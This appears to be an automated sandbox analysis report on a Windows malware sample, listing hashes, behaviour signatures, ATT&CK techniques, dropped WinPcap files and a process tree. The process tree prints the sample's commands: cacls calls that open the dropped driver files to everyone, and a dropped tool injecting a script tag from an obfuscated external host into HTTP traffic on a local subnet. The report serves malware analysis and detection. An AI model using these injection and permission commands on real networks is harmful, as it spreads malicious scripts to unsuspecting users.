4a44a21023dc9880fceb1bd694c0590d162344016b530267f0808d86e405ef4a

General

Target

2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe
Size

513KB
MD5

2e60c5e2982ae0b32ef5e23e8f332685
SHA1

12a5d6ac17f2221d671304f4d6e88b00c40acf8f
SHA256

4a44a21023dc9880fceb1bd694c0590d162344016b530267f0808d86e405ef4a
SHA512

2ddb3559b2dc878e5904e3904a3ceaf2b8ea8567362169e22164601c0691f8b265304c299a30631dbe8defb440bc908bd12e02492952d57dcd944e8c80357977
SSDEEP

6144:7MSbWohE9q2PsXrSVew/X2+wZHeSPVep6s6BCF6GfEWfadRNH0QV:7NW2E9/cZw/X6eSPtfS6G6h

Score

8^/10

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\drivers\npf.sys	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3310979990-555183016-1244931625-1000\Control Panel\International\Geo\Nation	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
4768	360saty.exe

Loads dropped DLL 5 IoCs

pid	Process
4768	360saty.exe
4768	360saty.exe
4768	360saty.exe
4768	360saty.exe
4768	360saty.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Packet.dll	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\WanPacket.dll	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\wpcap.dll	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\360saty.exe	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1756 wrote to memory of 4656	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	83
PID 1756 wrote to memory of 4656	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	83
PID 1756 wrote to memory of 4656	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	83
PID 1756 wrote to memory of 4896	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	85
PID 1756 wrote to memory of 4896	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	85
PID 1756 wrote to memory of 4896	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	85
PID 1756 wrote to memory of 3956	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	87
PID 1756 wrote to memory of 3956	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	87
PID 1756 wrote to memory of 3956	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	87
PID 1756 wrote to memory of 2148	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	89
PID 1756 wrote to memory of 2148	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	89
PID 1756 wrote to memory of 2148	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	89
PID 1756 wrote to memory of 4564	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	91
PID 1756 wrote to memory of 4564	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	91
PID 1756 wrote to memory of 4564	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	91
PID 1756 wrote to memory of 4768	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	93
PID 1756 wrote to memory of 4768	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	93
PID 1756 wrote to memory of 4768	1756	2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe	93

C:\Users\Admin\AppData\Local\Temp\2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\2e60c5e2982ae0b32ef5e23e8f332685_JaffaCakes118.exe"
1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1756
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\drivers\npf.sys /e /p everyone:f
  2⤵
  PID:4656
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\Packet.dll /e /p everyone:f
  2⤵
  PID:4896
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\WanPacket.dll /e /p everyone:f
  2⤵
  PID:3956
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\wpcap.dll /e /p everyone:f
  2⤵
  PID:2148
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\npptools.dll /e /p everyone:f
  2⤵
  PID:4564
- C:\Windows\SysWOW64\360saty.exe
  "C:\Windows\system32\360saty.exe" -idx 0 -ip 10.127.0.2-10.127.0.254 -port 80 -insert "<script language=javascript src=http://z%6Bm.r%72.%6Eu/tj.js></script>"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Windows\SysWOW64\360saty.exe

Filesize
8.0MB

MD5
85f14f1c3260a1157847d20989dbf453

SHA1
d5923b0b35694ae9e6ede15add0020afa18fb616

SHA256
a5314367af2b8d451b76b9ed971797a0e7b93f7fef3fc25688a4068cf6c27efd

SHA512
efa4a250dc9d073bc74e8945ac3d5141dbf5553ae8e7fb7afdbe3d60a2c962875ce3239014aab256632b0d75efcc666a0c973c9bfee75cc0e585cf5b50aad80e

Download Submit
C:\Windows\SysWOW64\WPCAP.DLL

Filesize
234KB

MD5
ce842d25e5b7e6ff21a86cad9195fbe8

SHA1
d762270be089a89266b012351b52c595e260b59b

SHA256
7e8c0119f352424c61d6fad519394924b7aedbf8bfb3557d53c2961747d4c7f3

SHA512
84c23addda6ff006d4a3967b472af10a049b2a045d27d988d22153fc3ba517e21520a31eb061a2ef2abf302e365564dd4601d240ec3d5894fb96f10a9fae97d6

Download Submit
C:\Windows\SysWOW64\WanPacket.dll

Filesize
66KB

MD5
fdd104a9fd3427a1df37041fa947a041

SHA1
cca1881a3c02033008f78cc39b712b637c7f3e13

SHA256
384e928f13bc1c25ca16b3247d7ca942aec6834fadb05b1487f2c975678d4a9a

SHA512
9dd082eb245b443cc75b37c69f0a17e15fcb9cdb676b058d87f9805ec7a928e721a681b940fcdd56fd81da4d308f0d514870c526c4f9c715b256a97ab6bb29f7

Download Submit
C:\Windows\SysWOW64\packet.dll

Filesize
86KB

MD5
9062aeea8cbfc4f0780bbbefad7cebcb

SHA1
c4ad39ec51ad0e84fe58f62931d13cddfde3189e

SHA256
b2535129b26366484c487cc2ce536d8fcfa9d1ac1dab0db9560b4532012c352c

SHA512
60957548fc2272998aea518acf3b1812ed77f73e960a99ddf0d6b474b0858225286c26554bf81c00acf3cb1c77c5ce458d80e149ed4766287d7e32af9681e646

Download Submit
memory/1756-0-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1756-24-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4768-12-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download
memory/4768-23-0x0000000000680000-0x0000000000690000-memory.dmp

Filesize
64KB

Download
memory/4768-19-0x0000000000660000-0x0000000000675000-memory.dmp

Filesize
84KB

Download
memory/4768-25-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download

Analysis

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